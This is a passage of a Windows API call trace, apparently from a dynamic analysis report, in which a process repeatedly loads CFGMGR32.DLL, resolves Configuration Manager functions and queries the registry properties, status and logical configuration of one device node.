0x7ffb1ced9760 [0210.286] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.286] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.287] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.287] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.287] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.287] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.287] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.287] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.287] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.289] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.289] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.289] malloc (_Size=0x18) returned 0x20abc281ba0 [0210.289] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0210.289] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x391b29b3, dwHighDateTime=0x1d9eb0c)) [0210.290] SetEvent (hEvent=0x248) returned 1 [0210.293] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.293] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.296] malloc (_Size=0x18) returned 0x20abc281fe0 [0210.296] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0210.301] malloc (_Size=0x48) returned 0x20abc2a8460 [0210.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x391d8d64, dwHighDateTime=0x1d9eb0c)) [0210.301] SetEvent (hEvent=0x248) returned 1 [0210.304] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.304] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.308] malloc (_Size=0x18) returned 0x20abc281e00 [0210.308] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0210.308] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x391d8d64, dwHighDateTime=0x1d9eb0c)) [0210.308] SetEvent (hEvent=0x248) returned 1 [0210.444] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.444] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.448] malloc (_Size=0x18) returned 0x20abc2819a0 [0210.449] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0210.449] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3933047f, dwHighDateTime=0x1d9eb0c)) [0210.449] SetEvent (hEvent=0x248) returned 1 [0210.453] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.453] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.457] malloc (_Size=0x18) returned 0x20abc2819c0 [0210.457] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0210.458] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x393571b2, dwHighDateTime=0x1d9eb0c)) [0210.458] SetEvent (hEvent=0x248) returned 1 [0210.463] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.463] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.467] malloc (_Size=0x18) returned 0x20abc281e60 [0210.467] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0210.471] malloc (_Size=0x48) returned 0x20abc2a86e0 [0210.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3937cb1b, dwHighDateTime=0x1d9eb0c)) [0210.471] SetEvent (hEvent=0x248) returned 1 [0210.476] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.476] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.478] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.479] malloc (_Size=0x18) returned 0x20abc281cc0 [0210.480] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2f, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0210.480] malloc (_Size=0x48) returned 0x20abc2a8a00 [0210.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3937cb1b, dwHighDateTime=0x1d9eb0c)) [0210.480] SetEvent (hEvent=0x248) returned 1 [0210.486] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.486] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.490] malloc (_Size=0x18) returned 0x20abc281f00 [0210.490] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2f, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0210.491] malloc (_Size=0x48) returned 0x20abc2a8a50 [0210.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x393a48a7, dwHighDateTime=0x1d9eb0c)) [0210.491] SetEvent (hEvent=0x248) returned 1 [0210.597] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.597] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.598] 